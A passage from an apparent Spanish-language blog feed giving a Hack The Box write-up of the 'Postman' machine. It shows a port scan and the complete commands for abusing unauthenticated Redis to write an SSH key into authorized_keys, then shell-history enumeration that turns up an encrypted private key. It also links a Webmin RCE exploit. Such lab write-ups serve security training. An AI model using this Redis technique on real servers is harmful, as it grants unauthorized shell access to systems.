&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a9-9abf-cd18c63c4e6b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Imagery has been Pwned!&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Postman (Easy)</title><link>https://synacklabs.github.io/posts/postman/</link><pubDate>Fri, 23 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/postman/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en &lt;strong&gt;Redis&lt;/strong&gt; que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario &lt;code&gt;redis&lt;/code&gt;. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario &lt;code&gt;Matt&lt;/code&gt;. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar &lt;code&gt;su&lt;/code&gt; para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a &lt;strong&gt;Webmin&lt;/strong&gt; y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a &lt;strong&gt;root&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802c-a8e9-fb71c23a9deb.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Inicio con un escaneo de puertos para identificar la superficie de ataque.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; OpenSSH &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-hostkey&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;46&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;83&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4f&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;61&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;c0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;74&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;cb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;b5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d1&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;4a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;68&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;77&lt;/span&gt; (RSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8d&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;27&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d2&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;df&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;1a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;31&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;53&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;05&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;fb&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ff&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;f0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;62&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;26&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;89&lt;/span&gt; (ECDSA)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| &lt;span style="color:#ae81ff"&gt;256&lt;/span&gt; ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;7c&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;82&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;aa&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;5a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;d3&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;72&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ca&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8b&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;8a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;3a&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;a0&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;45&lt;/span&gt; (ED25519)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt; Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-favicon: Unknown favicon MD5&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; E234E3E8040EFB1ACD7028330A956EBF
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;| http-methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_ Supported Methods&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; GET POST OPTIONS HEAD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.29 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: The Cyber Geek&lt;span style="color:#e6db74"&gt;&amp;#39;s Personal Website
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;| http-methods:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_ Supported Methods: GET HEAD POST OPTIONS
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;|_http-title: Site doesn&amp;#39;&lt;/span&gt;t have a title (text/html; Charset=iso-&lt;span style="color:#ae81ff"&gt;8859&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;).
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puertos-80-y-10000"&gt;&lt;strong&gt;Enumeración Web (Puertos 80 y 10000)&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Puerto 80:&lt;/strong&gt; Muestra &amp;ldquo;The Cyber Geek&amp;rsquo;s Personal Website&amp;rdquo;, una página en construcción que no revela información útil tras el fuzzing&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-802f-a9bf-d8fa984dbcb4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Puerto 10000 (Webmin):&lt;/strong&gt; Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8067-b086-f4d5271de745.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin%201.910%20-%20Remote%20Code%20Execution%20using%20BurpSuite"&gt;https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial-redis"&gt;Acceso Inicial: Redis&lt;/h2&gt;
&lt;h3 id="enumeración-de-redis-puerto-6379"&gt;Enumeración de Redis (Puerto 6379)&lt;/h3&gt;
&lt;p&gt;Al conectarme al servicio Redis, descubro que no requiere autenticación (&lt;code&gt;config get requirepass&lt;/code&gt; está vacío). Esto me permite ejecutar comandos de configuración críticos.&lt;/p&gt;
&lt;p&gt;El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dir /var/lib/redis/.ssh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="explotación-escritura-de-clave-ssh"&gt;Explotación: Escritura de Clave SSH&lt;/h3&gt;
&lt;p&gt;Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo &lt;code&gt;authorized_keys&lt;/code&gt; del usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Genero un par de claves SSH localmente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;id_ed25519 id_ed25519.pub
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Escribo la clave pública en la memoria de Redis:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;┌──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~/Desktop/HTB/Postman/loot]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ cat id_ed25519.pub | redis-cli -h &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.1 -x set ssh_key
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Configuro el nombre del archivo de destino y guardo:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8061-a502-d6ef3f07b8b8.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; CONFIG SET dbfilename authorized_keys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; save
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;OK
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.2.&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;&amp;gt; exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;Nota:&lt;/strong&gt; Inicialmente el login falla. Esto se debe a que el comando &lt;code&gt;save&lt;/code&gt; de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (&lt;code&gt;\n\n&lt;/code&gt;) antes y después de la clave pública para aislarla de la &amp;ldquo;basura&amp;rdquo; binaria, permitiendo que &lt;code&gt;sshd&lt;/code&gt; la lea correctamente.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;; cat ~/id_rsa_generated.pub; echo -e &lt;span style="color:#e6db74"&gt;&amp;#34;\n\n&amp;#34;&lt;/span&gt;) &amp;gt; spaced_key.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Cuando se usa el comando &lt;code&gt;SAVE&lt;/code&gt; o &lt;code&gt;BGSAVE&lt;/code&gt; en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato &lt;strong&gt;RDB&lt;/strong&gt;, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que &lt;code&gt;sshd&lt;/code&gt; (el servicio de SSH) no entiende.&lt;/p&gt;
&lt;p&gt;El servicio &lt;code&gt;sshd&lt;/code&gt; es muy tolerante cuando lee el archivo &lt;code&gt;authorized_keys&lt;/code&gt;. Su comportamiento es:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Ignora las líneas que no reconoce o que tienen basura binaria.&lt;/li&gt;
&lt;li&gt;Busca específicamente una línea que empiece por &lt;code&gt;ssh-rsa&lt;/code&gt; (o el algoritmo que uses).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al rodear la llave con varios &lt;code&gt;\n&lt;/code&gt; (saltos de línea), nos aseguramos de que la llave pública quede &lt;strong&gt;aislada en su propia línea&lt;/strong&gt;, separada de la basura binaria que Redis escribe al principio y al final del archivo.&lt;/p&gt;
&lt;p&gt;Una vez corregido, accedo por SSH como el usuario &lt;code&gt;redis&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f1888fa-f353-8060-8ec9-fdd0843fd3fd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-matt"&gt;Movimiento Lateral: Usuario Matt&lt;/h2&gt;
&lt;p&gt;Ya dentro del sistema, enumero los archivos del usuario.&lt;/p&gt;
&lt;p&gt;Enumerando podemos ver que el usuario redis estaba controlado por Matt.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ cat .bash_history
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pwd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python scan.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat /etc/ssh/sshd_config
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;clear
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd /var/lib/redis
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;su Matt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls -la
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemctl enable redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis-server
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ifconfig
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;netstat -a &amp;gt; txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;crontab -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cd ~/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nano &lt;span style="color:#ae81ff"&gt;6379&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;exit
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Lo que más llama la atención es ese archivo id_rsa.bak&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;redis@Postman&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/Matt$ find / -name &lt;span style="color:#e6db74"&gt;&amp;#34;id_rsa.bak&amp;#34;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/opt/id_rsa.bak
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.&lt;/p&gt;
&lt;p&gt;El problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.&lt;/p&gt;
